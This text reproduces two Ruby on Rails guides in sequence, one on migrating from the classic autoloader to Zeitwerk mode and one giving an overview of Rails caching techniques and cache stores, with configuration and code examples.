What are classic and zeitwerk modes

Why switch from classic to zeitwerk

How to activate zeitwerk mode

How to verify your application runs in zeitwerk mode

How to verify your project loads OK in the command line

How to verify your project loads OK in the test suite

How to address possible edge cases

New features in Zeitwerk you can leverage

Chapters

What are classic and zeitwerk Modes?

Why Switch from classic to zeitwerk?

I am Scared

How to Activate zeitwerk Mode

Applications Running Rails 5.x or Less

Applications Running Rails 6.x

Applications Running Rails 7

How to Verify The Application Runs in zeitwerk Mode?

Does my Application Comply with Zeitwerk Conventions?

config.eager_load_paths

zeitwerk:check

Acronyms

Concerns

Having app in the Autoload Paths

Autoloaded Constants and Explicit Namespaces

One File, One Constant (at the Same Top-level)

Globs in config.autoload_paths

Decorating Classes and Modules from Engines

before_remove_const

Spring and the test Environment

Bootsnap

Check Zeitwerk Compliance in the Test Suite

Continuous Integration

Bare Test Suites

Delete any require Calls

New Features You Can Leverage

Delete require_dependency Calls

Qualified Names in Class and Module Definitions are Now Possible

Thread-safety Everywhere

Eager Loading and Autoloading are Consistent

1 What are classic and zeitwerk Modes?

From the very beginning, and up to Rails 5, Rails used an autoloader implemented in Active Support. This autoloader is known as classic and is still available in Rails 6.x. Rails 7 does not include this autoloader anymore.

Starting with Rails 6, Rails ships with a new and better way to autoload, which delegates to the Zeitwerk gem. This is zeitwerk mode. By default, applications loading the 6.0 and 6.1 framework defaults run in zeitwerk mode, and this is the only mode available in Rails 7.

2 Why Switch from classic to zeitwerk?

The classic autoloader has been extremely useful, but had a number of issues that made autoloading a bit tricky and confusing at times. Zeitwerk was developed to address this, among other motivations.

When upgrading to Rails 6.x, it is highly encouraged to switch to zeitwerk mode because it is a better autoloader, classic mode is deprecated.

Rails 7 ends the transition period and does not include classic mode.

3 I am Scared

Don't be :).

Zeitwerk was designed to be as compatible with the classic autoloader as possible. If you have a working application autoloading correctly today, chances are the switch will be easy. Many projects, big and small, have reported really smooth switches.

This guide will help you change the autoloader with confidence.

If for whatever reason you find a situation you don't know how to resolve, don't hesitate to open an issue in rails/rails and tag @fxn.

4 How to Activate zeitwerk Mode

4.1 Applications Running Rails 5.x or Less

In applications running a Rails version previous to 6.0, zeitwerk mode is not available. You need to be at least in Rails 6.0.

4.2 Applications Running Rails 6.x

In applications running Rails 6.x there are two scenarios.

If the application is loading the framework defaults of Rails 6.0 or 6.1 and it is running in classic mode, it must be opting out by hand. You have to have something similar to this:

  # config/application.rb
config.load_defaults 6.0
config.autoloader = :classic # DELETE THIS LINE

As noted, just delete the override, zeitwerk mode is the default.

On the other hand, if the application is loading old framework defaults you need to enable zeitwerk mode explicitly:

  # config/application.rb
config.load_defaults 5.2
config.autoloader = :zeitwerk

4.3 Applications Running Rails 7

In Rails 7 there is only zeitwerk mode, you do not need to do anything to enable it.

Indeed, in Rails 7 the setter config.autoloader= does not even exist. If config/application.rb uses it, please delete the line.

5 How to Verify The Application Runs in zeitwerk Mode?

To verify the application is running in zeitwerk mode, execute

  bin/rails runner 'p Rails.autoloaders.zeitwerk_enabled?'

If that prints true, zeitwerk mode is enabled.

6 Does my Application Comply with Zeitwerk Conventions?

6.1 config.eager_load_paths

Compliance test runs only for eager loaded files. Therefore, in order to verify Zeitwerk compliance, it is recommended to have all autoload paths in the eager load paths.

This is already the case by default, but if the project has custom autoload paths configured just like this:

  config.autoload_paths << "#{Rails.root}/extras"

those are not eager loaded and won't be verified. Adding them to the eager load paths is easy:

  config.autoload_paths << "#{Rails.root}/extras"
config.eager_load_paths << "#{Rails.root}/extras"

6.2 zeitwerk:check

Once zeitwerk mode is enabled and the configuration of eager load paths double-checked, please run:

  bin/rails zeitwerk:check

A successful check looks like this:

  % bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!

There can be additional output depending on the application configuration, but the last "All is good!" is what you are looking for.

If the double-check explained in the previous section determined actually there have to be some custom autoload paths outside the eager load paths, the task will detect and warn about them. However, if the test suite loads those files successfully, you're good.

Now, if there's any file that does not define the expected constant, the task will tell you. It does so one file at a time, because if it moved on, the failure loading one file could cascade into other failures unrelated to the check we want to run and the error report would be confusing.

If there's one constant reported, fix that particular one and run the task again. Repeat until you get "All is good!".

Take for example:

  % bin/rails zeitwerk:check
Hold on, I am eager loading the application.
expected file app/models/vat.rb to define constant Vat

VAT is an European tax. The file app/models/vat.rb defines VAT but the autoloader expects Vat, why?

6.3 Acronyms

This is the most common kind of discrepancy you may find, it has to do with acronyms. Let's understand why do we get that error message.

The classic autoloader is able to autoload VAT because its input is the name of the missing constant, VAT, invokes underscore on it, which yields vat, and looks for a file called vat.rb. It works.

The input of the new autoloader is the file system. Give the file vat.rb, Zeitwerk invokes camelize on vat, which yields Vat, and expects the file to define the constant Vat. That is what the error message says.

Fixing this is easy, you only need to tell the inflector about this acronym:

  # config/initializers/inflections.rb
ActiveSupport::Inflector.inflections(:en) do |inflect|
  inflect.acronym "VAT"
end

Doing so affects how Active Support inflects globally. That may be fine, but if you prefer you can also pass overrides to the inflectors used by the autoloaders:

  # config/initializers/zeitwerk.rb
Rails.autoloaders.main.inflector.inflect("vat" => "VAT")

With this option you have more control, because only files called exactly vat.rb or directories exactly called vat will be inflected as VAT. A file called vat_rules.rb is not affected by that and can define VatRules just fine. This may be handy if the project has this kind of naming inconsistencies.

With that in place, the check passes!

  % bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!

Once all is good, it is recommended to keep validating the project in the test suite. The section Check Zeitwerk Compliance in the Test Suite explains how to do this.

6.4 Concerns

You can autoload and eager load from a standard structure with concerns subdirectories like

  app/models
app/models/concerns

By default, app/models/concerns belongs to the autoload paths and therefore it is assumed to be a root directory. So, by default, app/models/concerns/foo.rb should define Foo, not Concerns::Foo.

If your application uses Concerns as namespace, you have two options:

Remove the Concerns namespace from those classes and modules and update client code.

Leave things as they are by removing app/models/concerns from the autoload paths:

    # config/initializers/zeitwerk.rb
  ActiveSupport::Dependencies.
    autoload_paths.
    delete("#{Rails.root}/app/models/concerns")

6.5 Having app in the Autoload Paths

Some projects want something like app/api/base.rb to define API::Base, and add app to the autoload paths to accomplish that.

Since Rails adds all subdirectories of app to the autoload paths automatically (with a few exceptions), we have another situation in which there are nested root directories, similar to what happens with app/models/concerns. That setup no longer works as is.

However, you can keep that structure, just delete app/api from the autoload paths in an initializer:

  # config/initializers/zeitwerk.rb
ActiveSupport::Dependencies.
  autoload_paths.
  delete("#{Rails.root}/app/api")

Beware of subdirectories that do not have files to be autoloaded/eager loaded. For example, if the application has app/admin with resources for ActiveAdmin, you need to ignore them. Same for assets and friends:

  # config/initializers/zeitwerk.rb
Rails.autoloaders.main.ignore(
  "app/admin",
  "app/assets",
  "app/javascripts",
  "app/views"
)

Without that configuration, the application would eager load those trees. Would err on app/admin because its files do not define constants, and would define a Views module, for example, as an unwanted side-effect.

As you see, having app in the autoload paths is technically possible, but a bit tricky.

6.6 Autoloaded Constants and Explicit Namespaces

If a namespace is defined in a file, as Hotel is here:

  app/models/hotel.rb         # Defines Hotel.
app/models/hotel/pricing.rb # Defines Hotel::Pricing.

the Hotel constant has to be set using the class or module keywords. For example:

  class Hotel
end

is good.

Alternatives like

  Hotel = Class.new

or

  Hotel = Struct.new

won't work, child objects like Hotel::Pricing won't be found.

This restriction only applies to explicit namespaces. Classes and modules not defining a namespace can be defined using those idioms.

6.7 One File, One Constant (at the Same Top-level)

In classic mode you could technically define several constants at the same top-level and have them all reloaded. For example, given

  # app/models/foo.rb

class Foo
end

class Bar
end

while Bar could not be autoloaded, autoloading Foo would mark Bar as autoloaded too.

This is not the case in zeitwerk mode, you need to move Bar to its own file bar.rb. One file, one top-level constant.

This affects only to constants at the same top-level as in the example above. Inner classes and modules are fine. For example, consider

  # app/models/foo.rb

class Foo
  class InnerClass
  end
end

If the application reloads Foo, it will reload Foo::InnerClass too.

6.8 Globs in config.autoload_paths

Beware of configurations that use wildcards like

  config.autoload_paths += Dir["#{config.root}/extras/**/"]

Every element of config.autoload_paths should represent the top-level namespace (Object). That won't work.

To fix this, just remove the wildcards:

  config.autoload_paths << "#{config.root}/extras"

6.9 Decorating Classes and Modules from Engines

If your application decorates classes or modules from an engine, chances are it is doing something like this somewhere:

  config.to_prepare do
  Dir.glob("#{Rails.root}/app/overrides/**/*_override.rb").sort.each do |override|
    require_dependency override
  end
end

That has to be updated: You need to tell the main autoloader to ignore the directory with the overrides, and you need to load them with load instead. Something like this:

  overrides = "#{Rails.root}/app/overrides"
Rails.autoloaders.main.ignore(overrides)
config.to_prepare do
  Dir.glob("#{overrides}/**/*_override.rb").sort.each do |override|
    load override
  end
end

6.10 before_remove_const

Rails 3.1 added support for a callback called before_remove_const that was invoked if a class or module responded to this method and was about to be reloaded. This callback has remained otherwise undocumented and it is unlikely that your code uses it.

However, in case it does, you can rewrite something like

  class Country < ActiveRecord::Base
  def self.before_remove_const
    expire_redis_cache
  end
end

as

  # config/initializers/country.rb
unless Rails.application.config.cache_classes
  Rails.autoloaders.main.on_unload("Country") do |klass, _abspath|
    klass.expire_redis_cache
  end
end

6.11 Spring and the test Environment

Spring reloads the application code if something changes. In the test environment you need to enable reloading for that to work:

  # config/environments/test.rb
config.cache_classes = false

Otherwise you'll get this error:

  reloading is disabled because config.cache_classes is true

This has no performance penalty.

6.12 Bootsnap

Please make sure to depend on at least Bootsnap 1.4.4.

7 Check Zeitwerk Compliance in the Test Suite

The task zeitwerk:check is handy while migrating. Once the project is compliant, it is recommended to automate this check. In order to do so, it is enough to eager load the application, which is all zeitwerk:check does, indeed.

7.1 Continuous Integration

If your project has continuous integration in place, it is a good idea to eager load the application when the suite runs there. If the application cannot be eager loaded for whatever reason, you want to know in CI, better than in production, right?

CIs typically set some environment variable to indicate the test suite is running there. For example, it could be CI:

  # config/environments/test.rb
config.eager_load = ENV["CI"].present?

Starting with Rails 7, newly generated applications are configured that way by default.

7.2 Bare Test Suites

If your project does not have continuous integration, you can still eager load in the test suite by calling Rails.application.eager_load!:

7.2.1 Minitest

  require "test_helper"

class ZeitwerkComplianceTest < ActiveSupport::TestCase
  test "eager loads all files without errors" do
    assert_nothing_raised { Rails.application.eager_load! }
  end
end

7.2.2 RSpec

  require "rails_helper"

RSpec.describe "Zeitwerk compliance" do
  it "eager loads all files without errors" do
    expect { Rails.application.eager_load! }.not_to raise_error
  end
end

8 Delete any require Calls

In my experience, projects generally do not do this. But I've seen a couple, and have heard of a few others.

In Rails application you use require exclusively to load code from lib or from 3rd party like gem dependencies or the standard library. Never load autoloadable application code with require. See why this was a bad idea already in classic here.

  require "nokogiri" # GOOD
require "net/http" # GOOD
require "user"     # BAD, DELETE THIS (assuming app/models/user.rb)

Please delete any require calls of that type.

9 New Features You Can Leverage

9.1 Delete require_dependency Calls

All known use cases of require_dependency have been eliminated with Zeitwerk. You should grep the project and delete them.

If your application uses Single Table Inheritance, please see the Single Table Inheritance section of the Autoloading and Reloading Constants (Zeitwerk Mode) guide.

9.2 Qualified Names in Class and Module Definitions are Now Possible

You can now robustly use constant paths in class and module definitions:

  # Autoloading in this class body matches Ruby semantics now.
class Admin::UsersController < ApplicationController
  # ...
end

A gotcha to be aware of is that, depending on the order of execution, the classic autoloader could sometimes be able to autoload Foo::Wadus in

  class Foo::Bar
  Wadus
end

That does not match Ruby semantics because Foo is not in the nesting, and won't work at all in zeitwerk mode. If you find such corner case you can use the qualified name Foo::Wadus:

  class Foo::Bar
  Foo::Wadus
end

or add Foo to the nesting:

  module Foo
  class Bar
    Wadus
  end
end

9.3 Thread-safety Everywhere

In classic mode, constant autoloading is not thread-safe, though Rails has locks in place for example to make web requests thread-safe.

Constant autoloading is thread-safe in zeitwerk mode. For example, you can now autoload in multi-threaded scripts executed by the runner command.

9.4 Eager Loading and Autoloading are Consistent

In classic mode, if app/models/foo.rb defines Bar, you won't be able to autoload that file, but eager loading will work because it loads files recursively blindly. This can be a source of errors if you test things first eager loading, execution may fail later autoloading.

In zeitwerk mode both loading modes are consistent, they fail and err in the same files.

Caching with Rails: An Overview

This guide is an introduction to speeding up your Rails application with caching.

Caching means to store content generated during the request-response cycle and to reuse it when responding to similar requests.

Caching is often the most effective way to boost an application's performance. Through caching, websites running on a single server with a single database can sustain a load of thousands of concurrent users.

Rails provides a set of caching features out of the box. This guide will teach you the scope and purpose of each one of them. Master these techniques and your Rails applications can serve millions of views without exorbitant response times or server bills.

After reading this guide, you will know:

Fragment and Russian doll caching.

How to manage the caching dependencies.

Alternative cache stores.

Conditional GET support.

Chapters

Basic Caching

Page Caching

Action Caching

Fragment Caching

Russian Doll Caching

Shared Partial Caching

Managing Dependencies

Low-Level Caching

SQL Caching

Cache Stores

Configuration

ActiveSupport::Cache::Store

ActiveSupport::Cache::MemoryStore

ActiveSupport::Cache::FileStore

ActiveSupport::Cache::MemCacheStore

ActiveSupport::Cache::RedisCacheStore

ActiveSupport::Cache::NullStore

Custom Cache Stores

Cache Keys

Conditional GET Support

Strong v/s Weak ETags

Caching in Development

References

1 Basic Caching

This is an introduction to three types of caching techniques: page, action and fragment caching. By default Rails provides fragment caching. In order to use page and action caching you will need to add actionpack-page_caching and actionpack-action_caching to your Gemfile.

By default, caching is only enabled in your production environment. You can play around with caching locally by running rails dev:cache, or by setting config.action_controller.perform_caching to true in config/environments/development.rb.

Changing the value of config.action_controller.perform_caching will only have an effect on the caching provided by Action Controller. For instance, it will not impact low-level caching, that we address below.

1.1 Page Caching

Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the web server (i.e. Apache or NGINX) without having to go through the entire Rails stack. While this is super fast it can't be applied to every situation (such as pages that need authentication). Also, because the web server is serving a file directly from the filesystem you will need to implement cache expiration.

Page Caching has been removed from Rails 4. See the actionpack-page_caching gem.

1.2 Action Caching

Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.

Action Caching has been removed from Rails 4. See the actionpack-action_caching gem. See DHH's key-based cache expiration overview for the newly-preferred method.

1.3 Fragment Caching

Dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. When different parts of the page need to be cached and expired separately you can use Fragment Caching.

Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

For example, if you wanted to cache each product on a page, you could use this code:

  <% @products.each do |product| %>
  <% cache product do %>
    <%= render product %>
  <% end %>
<% end %>

When your application receives its first request to this page, Rails will write a new cache entry with a unique key. A key looks something like this:

  views/products/index:bea67108094918eeba42cd4a6e786901/products/1

The string of characters in the middle is a template tree digest. It is a hash digest computed based on the contents of the view fragment you are caching. If you change the view fragment (e.g., the HTML changes), the digest will change, expiring the existing file.

A cache version, derived from the product record, is stored in the cache entry. When the product is touched, the cache version changes, and any cached fragments that contain the previous version are ignored.

Cache stores like Memcached will automatically delete old cache files.

If you want to cache a fragment under certain conditions, you can use cache_if or cache_unless:

  <% cache_if admin?, product do %>
  <%= render product %>
<% end %>

1.3.1 Collection Caching

The render helper can also cache individual templates rendered for a collection. It can even one up the previous example with each by reading all cache templates at once instead of one by one. This is done by passing cached: true when rendering the collection:

  <%= render partial: 'products/product', collection: @products, cached: true %>

All cached templates from previous renders will be fetched at once with much greater speed. Additionally, the templates that haven't yet been cached will be written to cache and multi fetched on the next render.

1.4 Russian Doll Caching

You may want to nest cached fragments inside other cached fragments. This is called Russian doll caching.

The advantage of Russian doll caching is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.

As explained in the previous section, a cached file will expire if the value of updated_at changes for a record on which the cached file directly depends. However, this will not expire any cache the fragment is nested within.

For example, take the following view:

  <% cache product do %>
  <%= render product.games %>
<% end %>

Which in turn renders this view:

  <% cache game do %>
  <%= render game %>
<% end %>

If any attribute of game is changed, the updated_at value will be set to the current time, thereby expiring the cache. However, because updated_at will not be changed for the product object, that cache will not be expired and your app will serve stale data. To fix this, we tie the models together with the touch method:

  class Product < ApplicationRecord
  has_many :games
end

class Game < ApplicationRecord
  belongs_to :product, touch: true
end

With touch set to true, any action which changes updated_at for a game record will also change it for the associated product, thereby expiring the cache.

1.5 Shared Partial Caching

It is possible to share partials and associated caching between files with different mime types. For example shared partial caching allows template writers to share a partial between HTML and JavaScript files. When templates are collected in the template resolver file paths they only include the template language extension and not the mime type. Because of this templates can be used for multiple mime types. Both HTML and JavaScript requests will respond to the following code:

  render(partial: 'hotels/hotel', collection: @hotels, cached: true)

Will load a file named hotels/hotel.erb.

Another option is to include the full filename of the partial to render.

  render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true)

Will load a file named hotels/hotel.html.erb in any file mime type, for example you could include this partial in a JavaScript file.

1.6 Managing Dependencies

In order to correctly invalidate the cache, you need to properly define the caching dependencies. Rails is clever enough to handle common cases so you don't have to specify anything. However, sometimes, when you're dealing with custom helpers for instance, you need to explicitly define them.

1.6.1 Implicit Dependencies

Most template dependencies can be derived from calls to render in the template itself. Here are some examples of render calls that ActionView::Digestor knows how to decode:

  render partial: "comments/comment", collection: commentable.comments
render "comments/comments"
render 'comments/comments'
render('comments/comments')

render "header" translates to render("comments/header")

render(@topic)         translates to render("topics/topic")
render(topics)         translates to render("topics/topic")
render(message.topics) translates to render("topics/topic")

On the other hand, some calls need to be changed to make caching work properly. For instance, if you're passing a custom collection, you'll need to change:

  render @project.documents.where(published: true)

to:

  render partial: "documents/document", collection: @project.documents.where(published: true)

1.6.2 Explicit Dependencies

Sometimes you'll have template dependencies that can't be derived at all. This is typically the case when rendering happens in helpers. Here's an example:

  <%= render_sortable_todolists @project.todolists %>

You'll need to use a special comment format to call those out:

  <%# Template Dependency: todolists/todolist %>
<%= render_sortable_todolists @project.todolists %>

In some cases, like a single table inheritance setup, you might have a bunch of explicit dependencies. Instead of writing every template out, you can use a wildcard to match any template in a directory:

  <%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>

As for collection caching, if the partial template doesn't start with a clean cache call, you can still benefit from collection caching by adding a special comment format anywhere in the template, like:

  <%# Template Collection: notification %>
<% my_helper_that_calls_cache(some_arg, notification) do %>
  <%= notification.name %>
<% end %>

1.6.3 External Dependencies

If you use a helper method, for example, inside a cached block and you then update that helper, you'll have to bump the cache as well. It doesn't really matter how you do it, but the MD5 of the template file must change. One recommendation is to simply be explicit in a comment, like:

  <%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>

1.7 Low-Level Caching

Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing any serializable information.

The most efficient way to implement low-level caching is using the Rails.cache.fetch method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block.

Consider the following example. An application has a Product model with an instance method that looks up the product's price on a competing website. The data returned by this method would be perfect for low-level caching:

  class Product < ApplicationRecord
  def competing_price
    Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
      Competitor::API.find_price(id)
    end
  end
end

Notice that in this example we used the cache_key_with_version method, so the resulting cache key will be something like products/233-20140225082222765838000/competing_price. cache_key_with_version generates a string based on the model's class name, id, and updated_at attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching, you need to generate a cache key.

1.7.1 Avoid Caching Instances of Active Record Objects

Consider this example, which stores a list of Active Record objects representing superusers in the cache:

  # super_admins is an expensive SQL query, so don't run it too often
Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do
  User.super_admins.to_a
end

You should avoid this pattern. Why? Because the instance could change. In production, attributes on it could differ, or the record could be deleted. And in development, it works unreliably with cache stores that reload code when you make changes.

Instead, cache the ID or some other primitive data type. For example:

  # super_admins is an expensive SQL query, so don't run it too often
ids = Rails.cache.fetch("super_admin_user_ids", expires_in: 12.hours) do
  User.super_admins.pluck(:id)
end
User.where(id: ids).to_a

1.8 SQL Caching

Query caching is a Rails feature that caches the result set returned by each query. If Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.

For example:

  class ProductsController < ApplicationController

  def index
    # Run a find query
    @products = Product.all

    # ...

    # Run the same query again
    @products = Product.all
  end

end

The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.

However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can with low-level caching.

2 Cache Stores

Rails provides different stores for the cached data (apart from SQL and page caching).

2.1 Configuration

You can set up your application's default cache store by setting the config.cache_store configuration option. Other parameters can be passed as arguments to the cache store's constructor:

  config.cache_store = :memory_store, { size: 64.megabytes }

Alternatively, you can set ActionController::Base.cache_store outside of a configuration block.

You can access the cache by calling Rails.cache.

2.1.1 Connection Pool Options

By default, :mem_cache_store and :redis_cache_store use a single connection per process. This means that if you're using Puma, or another threaded server, you can have multiple threads waiting for the connection to become available. To increase the number of available connections you can enable connection pooling.

First, add the connection_pool gem to your Gemfile:

  gem 'connection_pool'

Next, pass the :pool_size and/or :pool_timeout options when configuring the cache store:

  config.cache_store = :mem_cache_store, "cache.example.com", { pool_size: 5, pool_timeout: 5 }

:pool_size - This option sets the number of connections per process (defaults to 5).

:pool_timeout - This option sets the number of seconds to wait for a connection (defaults to 5). If no connection is available within the timeout, a Timeout::Error will be raised.

2.2 ActiveSupport::Cache::Store

ActiveSupport::Cache::Store provides the foundation for interacting with the cache in Rails. This is an abstract class, and you cannot use it on its own. Instead, you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations, documented below.

The main API methods are read, write, delete, exist?, and fetch.

Options passed to the cache store's constructor will be treated as default options for the appropriate API methods.

2.3 ActiveSupport::Cache::MemoryStore

ActiveSupport::Cache::MemoryStore keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by sending the :size option to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.

  config.cache_store = :memory_store, { size: 64.megabytes }

If you're running multiple Ruby on Rails server processes (which is the case if you're using Phusion Passenger or puma clustered mode), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments. However, it can work well for small, low traffic sites with only a couple of server processes, as well as development and test environments.

New Rails projects are configured to use this implementation in the development environment by default.

Since processes will not share cache data when using :memory_store, it will not be possible to manually read, write, or expire the cache via the Rails console.

2.4 ActiveSupport::Cache::FileStore

ActiveSupport::Cache::FileStore uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.

  config.cache_store = :file_store, "/path/to/cache/directory"

With this cache store, multiple server processes on the same host can share a cache. This cache store is appropriate for low to medium traffic sites that are served off one or two hosts. Server processes running on different hosts could share a cache by using a shared file system, but that setup is not recommended.

As the cache will grow until the disk is full, it is recommended to periodically clear out old entries.

This is the default cache store implementation (at "#{root}/tmp/cache/") if no explicit config.cache_store is supplied.

2.5 ActiveSupport::Cache::MemCacheStore

ActiveSupport::Cache::MemCacheStore uses Danga's memcached server to provide a centralized cache for your application. Rails uses the bundled dalli gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.

When initializing the cache, you should specify the addresses for all memcached servers in your cluster, or ensure the MEMCACHE_SERVERS environment variable has been set appropriately.

  config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"

If neither are specified, it will assume memcached is running on localhost on the default port (127.0.0.1:11211), but this is not an ideal setup for larger sites.

  config.cache_store = :mem_cache_store # Will fallback to $MEMCACHE_SERVERS, then 127.0.0.1:11211

See the Dalli::Client documentation for supported address types.

The write (and fetch) method on this cache accepts additional options that take advantage of features specific to memcached.

2.6 ActiveSupport::Cache::RedisCacheStore

ActiveSupport::Cache::RedisCacheStore takes advantage of Redis support for automatic eviction when it reaches max memory, allowing it to behave much like a Memcached cache server.

Deployment note: Redis doesn't expire keys by default, so take care to use a dedicated Redis cache server. Don't fill up your persistent-Redis server with volatile cache data! Read the Redis cache server setup guide in detail.

For a cache-only Redis server, set maxmemory-policy to one of the variants of allkeys. Redis 4+ supports least-frequently-used eviction (allkeys-lfu), an excellent default choice. Redis 3 and earlier should use least-recently-used eviction (allkeys-lru).

Set cache read and write timeouts relatively low. Regenerating a cached value is often faster than waiting more than a second to retrieve it. Both read and write timeouts default to 1 second, but may be set lower if your network is consistently low-latency.

By default, the cache store will not attempt to reconnect to Redis if the connection fails during a request. If you experience frequent disconnects you may wish to enable reconnect attempts.

Cache reads and writes never raise exceptions; they just return nil instead, behaving as if there was nothing in the cache. To gauge whether your cache is hitting exceptions, you may provide an error_handler to report to an exception gathering service. It must accept three keyword arguments: method, the cache store method that was originally called; returning, the value that was returned to the user, typically nil; and exception, the exception that was rescued.

To get started, add the redis gem to your Gemfile:

  gem 'redis'

You can enable support for the faster hiredis connection library by additionally adding its ruby wrapper to your Gemfile:

  gem 'hiredis'

Redis cache store will automatically require and use hiredis if available. No further configuration is needed.

Finally, add the configuration in the relevant config/environments/*.rb file:

  config.cache_store = :redis_cache_store, { url: ENV['REDIS_URL'] }

A more complex, production Redis cache store may look something like this:

  cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0)
config.cache_store = :redis_cache_store, { url: cache_servers,

  connect_timeout:    30,  # Defaults to 20 seconds
  read_timeout:       0.2, # Defaults to 1 second
  write_timeout:      0.2, # Defaults to 1 second
  reconnect_attempts: 1,   # Defaults to 0

  error_handler: -> (method:, returning:, exception:) {
    # Report errors to Sentry as warnings
    Raven.capture_exception exception, level: 'warning',
      tags: { method: method, returning: returning }
  }
}

2.7 ActiveSupport::Cache::NullStore

ActiveSupport::Cache::NullStore is scoped to each web request, and clears stored values at the end of a request. It is meant for use in development and test environments. It can be very useful when you have code that interacts directly with Rails.cache but caching interferes with seeing the results of code changes.

  config.cache_store = :null_store

2.8 Custom Cache Stores

You can create your own custom cache store by simply extending ActiveSupport::Cache::Store and implementing the appropriate methods. This way, you can swap in any number of caching technologies into your Rails application.

To use a custom cache store, simply set the cache store to a new instance of your custom class.

  config.cache_store = MyCacheStore.new

3 Cache Keys

The keys used in a cache can be any object that responds to either cache_key or to_param. You can implement the cache_key method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.

You can use Hashes and Arrays of values as cache keys.

  # This is a legal cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])

The keys you use on Rails.cache will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with Rails.cache and then try to pull them out with the dalli gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.

4 Conditional GET Support

Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.

They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (ETag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.

It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:

  class ProductsController < ApplicationController

  def show
    @product = Product.find(params[:id])

    # If the request is stale according to the given timestamp and etag value
    # (i.e. it needs to be processed again) then execute this block
    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version)
      respond_to do |wants|
        # ... normal response processing
      end
    end

    # If the request is fresh (i.e. it's not modified) then you don't need to do
    # anything. The default render checks for this using the parameters
    # used in the previous call to stale? and will automatically send a
    # :not_modified. So that's it, you're done.
  end
end

Instead of an options hash, you can also simply pass in a model. Rails will use the updated_at and cache_key_with_version methods for setting last_modified and etag:

  class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])

    if stale?(@product)
      respond_to do |wants|
        # ... normal response processing
      end
    end
  end
end

If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:

  class ProductsController < ApplicationController

  # This will automatically send back a :not_modified if the request is fresh,
  # and will render the default template (product.*) if it's stale.

  def show
    @product = Product.find(params[:id])
    fresh_when last_modified: @product.published_at.utc, etag: @product
  end
end

Sometimes we want to cache response, for example a static page, that never gets expired. To achieve this, we can use http_cache_forever helper and by doing so browser and proxies will cache it indefinitely.

By default cached responses will be private, cached only on the user's web browser. To allow proxies to cache the response, set public: true to indicate that they can serve the cached response to all users.

Using this helper, last_modified header is set to Time.new(2011, 1, 1).utc and expires header is set to a 100 years.

Use this method carefully as browser/proxy won't be able to invalidate the cached response unless browser cache is forcefully cleared.

  class HomeController < ApplicationController
  def index
    http_cache_forever(public: true) do
      render
    end
  end
end

4.1 Strong v/s Weak ETags

Rails generates weak ETags by default. Weak ETags allow semantically equivalent responses to have the same ETags, even if their bodies do not match exactly. This is useful when we don't want the page to be regenerated for minor changes in response body.

Weak ETags have a leading W/ to differentiate them from strong ETags.

  W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
"618bbc92e2d35ea1945008b42799b0e7" → Strong ETag

Unlike weak ETag, strong ETag implies that response should be exactly the same and byte by byte identical. Useful when doing Range requests within a large video or PDF file. Some CDNs support only strong ETags, like Akamai. If you absolutely need to generate a strong ETag, it can be done as follows.

  class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])
    fresh_when last_modified: @product.published_at.utc, strong_etag: @product
  end
end

You can also set the strong ETag directly on the response.

  response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"

5 Caching in Development

It's common to want to test the caching strategy of your application in development mode. Rails provides the rails command dev:cache to easily toggle caching on/off.

  $ bin/rails dev:cache
Development mode is now being cached.
$ bin/rails dev:cache
